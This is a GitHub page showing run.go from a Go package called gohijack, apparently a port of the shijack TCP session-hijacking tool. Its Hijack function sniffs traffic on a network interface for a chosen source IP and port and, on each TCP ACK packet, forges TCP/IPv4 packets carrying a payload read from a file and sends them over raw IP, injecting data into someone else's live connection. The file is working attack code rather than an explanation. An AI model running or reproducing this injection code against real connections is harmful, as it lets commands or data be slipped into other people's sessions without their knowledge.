-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrun.go
60 lines (57 loc) · 1.24 KB
/
run.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package gohijack
import (
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/ssst0n3/awesome_libs/awesome_error"
"github.com/ssst0n3/go-shijack/sniff"
"os"
)
func doHijack(packet gopacket.Packet, payload []byte) (err error) {
connection, err := NewConnectionFromPacket(packet)
if err != nil {
return
}
tcpLayer, ipv4Layer, err := connection.GenerateLayers(payload)
if err != nil {
return
}
buf, err := connection.Serialize(tcpLayer, ipv4Layer, payload)
if err != nil {
return
}
err = connection.SendIP(buf)
if err != nil {
return
}
return
}
func Hijack(interfaceName string, srcIp string, srcPort uint32, dstIp string, dstPort uint, payloadFile string, once bool) (err error) {
payload, err := os.ReadFile(payloadFile)
if err != nil {
awesome_error.CheckErr(err)
return
}
sniffer := sniff.PureGo{}
filter, err := GenerateFilter(srcIp, srcPort)
if err != nil {
return
}
packets, err := sniffer.Sniff(interfaceName, filter)
if err != nil {
return
}
for packet := range packets {
tcpLayer := packet.Layer(layers.LayerTypeTCP)
tcp, _ := tcpLayer.(*layers.TCP)
if tcp.ACK {
err = doHijack(packet, payload)
if err != nil {
continue
}
if once {
return
}
}
}
return
}